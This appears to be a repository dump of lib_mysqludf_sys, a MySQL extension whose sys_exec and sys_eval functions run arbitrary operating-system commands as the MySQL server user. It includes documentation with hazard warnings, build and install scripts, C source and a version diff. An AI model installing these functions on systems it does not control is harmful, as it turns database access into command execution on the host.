Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
exposing the function poses a very real security hazard.
</p>
<p>
Even for a benign user, it is possible to accidentally do a lot of damage with it.
The call will be executed with the privileges of the os user that runs MySQL,
so it is entirely feasible to delete MySQL's data directory, or worse.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
Currently, we do not have UDF's for ftp, email and http,
and this function can be used to implement such functionality in case it is really necessary
(datawarehouse staging areas could be a case in example).
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<p>
If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
</p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_get([<b>arg1</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt>returns</dt>
<dd>
If the variable exists, a string containing the value of the environment variable.
If the variable does not exist, the function return NULL.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_get;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
The variables known in the environment where mysql runs are freely accessible using this function.
Any user can get access to potentially secret information, such as
the user that is running mysqld, the path of the user's home directory etc.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
<a name="sys_set"></a><h2>sys_set</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
</p>
<h3>Syntax</h3>
<pre>sys_set([<b>arg1, arg2</b>)</pre>
<h3>Parameters and Return Values</h3>
<dl>
<dt><code><b>arg1</b></code></dt>
<dd>
A string that denotes the name of an environment value.
</dd>
<dt><code><b>arg2</b></code></dt>
<dd>
An expression that contains the value that is to be assigned to the environment variable.
</dd>
<dt>returns</dt>
<dd>
0 if the assignment or creation succeed.
non-zero otherwise.
</dd>
</dl>
<h3>Installation</h3>
<p>
Place the shared library binary in an appropriate location.
Log in to mysql as root or as another user with sufficient privileges, and select any database.
Then, create the function using the following DDL statement:
</p>
<pre>
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.so';
</pre>
<p>
The function will be globally available in all databases.
</p>
<p>
The deinstall the function, run the following statement:
</p>
<pre>
DROP FUNCTION sys_set;
</pre>
<h3>Examples</h3>
<p>
None yet
</p>
<h3>A Note of Caution</h3>
<p>
Be very careful in deciding whether you need this function.
UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
This function will overwrite existing environment variables.
</p>
<p>
The function is intended for specialized MySQL applications where one needs extended
control over the operating system.
</p>
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
</body>
</html

View File

@@ -0,0 +1,6 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
strip -sx so/lib_mysqludf_sys.so
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -0,0 +1,47 @@
#!/bin/bash
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2007 Roland Bouman
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
# web: http://www.mysqludf.org/
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
PORT="3306"
USER="root"
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
else
echo "MySQL UDF compiled successfully"
fi
echo -e "\nPlease provide your MySQL root password"
mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "MySQL UDF installed successfully"
fi

View File

@@ -0,0 +1,33 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

View File

@@ -0,0 +1,426 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,33 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';

View File

@@ -0,0 +1,426 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
}
return result;
}
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,354 @@
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
@@ -0,0 +1,43 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007 Roland Bouman
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+ echo "ERROR: You need libmysqlclient development software installed "
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+ echo "apt-get install libmysqlclient15-dev"
+ exit 1
+else
+ echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u root -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+ echo "ERROR: unable to install the UDF"
+ exit 1
+else
+ echo "MySQL UDF installed successfully"
+fi
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
@@ -1,8 +1,9 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
@@ -51,7 +52,7 @@
extern "C" {
#endif
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
@@ -139,7 +140,7 @@
/**
* sys_exec
*
- * executes the argument commandstring.
+ * executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
@@ -162,6 +163,34 @@
, char *error
);
+/**
+ * sys_eval
+ *
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+);
+
+DLLEXP
+void sys_eval_deinit(
+ UDF_INIT *initid
+);
+
+DLLEXP
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+);
+
#ifdef __cplusplus
}
@@ -336,5 +365,62 @@
return system(args->args[0]);
}
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+){
+ unsigned int i=0;
+ if(args->arg_count == 1
+ && args->arg_type[i]==STRING_RESULT){
+ return 0;
+ } else {
+ strcpy(
+ message
+ , "Expected exactly one string type parameter"
+ );
+ return 1;
+ }
+}
+void sys_eval_deinit(
+ UDF_INIT *initid
+){
+}
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+){
+ FILE *pipe;
+ char line[1024];
+ unsigned long outlen, linelen;
+
+ result = malloc(1);
+ outlen = 0;
+
+ pipe = popen(args->args[0], "r");
+
+ while (fgets(line, sizeof(line), pipe) != NULL) {
+ linelen = strlen(line);
+ result = realloc(result, outlen + linelen);
+ strncpy(result + outlen, line, linelen);
+ outlen = outlen + linelen;
+ }
+
+ pclose(pipe);
+
+ if (!(*result) || result == NULL) {
+ *is_null = 1;
+ } else {
+ result[outlen] = 0x00;
+ *length = strlen(result);
+ }
+
+ return result;
+}
+
#endif /* HAVE_DLOPEN */
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
@@ -23,7 +23,8 @@
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
@@ -31,6 +32,72 @@
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
+
+ <a name="sys_eval"></a><h2>sys_eval</h2>
+ <p>
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
+ </p>
+ <h3>Syntax</h3>
+<pre>sys_eval(<b>arg1</b>)</pre>
+ <h3>Parameters and Return Values</h3>
+ <dl>
+ <dt><code><b>arg1</b></code></dt>
+ <dd>
+ A command string valid for the current operating system or execution environment.
+ </dd>
+ <dt>returns</dt>
+ <dd>
+ Whatever output the command pushed to the standard output stream.
+ </dd>
+ </dl>
+ <h3>Installation</h3>
+ <p>
+ Place the shared library binary in an appropriate location.
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
+ Then, create the function using the following DDL statement:
+ </p>
+ <pre>
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
+ </pre>
+ <p>
+ The function will be globally available in all databases.
+ </p>
+ <p>
+ The deinstall the function, run the following statement:
+ </p>
+ <pre>
+DROP FUNCTION sys_eval;
+ </pre>
+ <h3>Examples</h3>
+ <p>
+ None yet
+ </p>
+ <h3>A Note of Caution</h3>
+ <p>
+ Be very careful in deciding whether you need this function.
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
+ exposing the function poses a very real security hazard.
+ </p>
+ <p>
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
+ The call will be executed with the privileges of the os user that runs MySQL,
+ so it is entirely feasible to delete MySQL's data directory, or worse.
+ </p>
+ <p>
+ The function is intended for specialized MySQL applications where one needs extended
+ control over the operating system.
+ Currently, we do not have UDF's for ftp, email and http,
+ and this function can be used to implement such functionality in case it is really necessary
+ (datawarehouse staging areas could be a case in example).
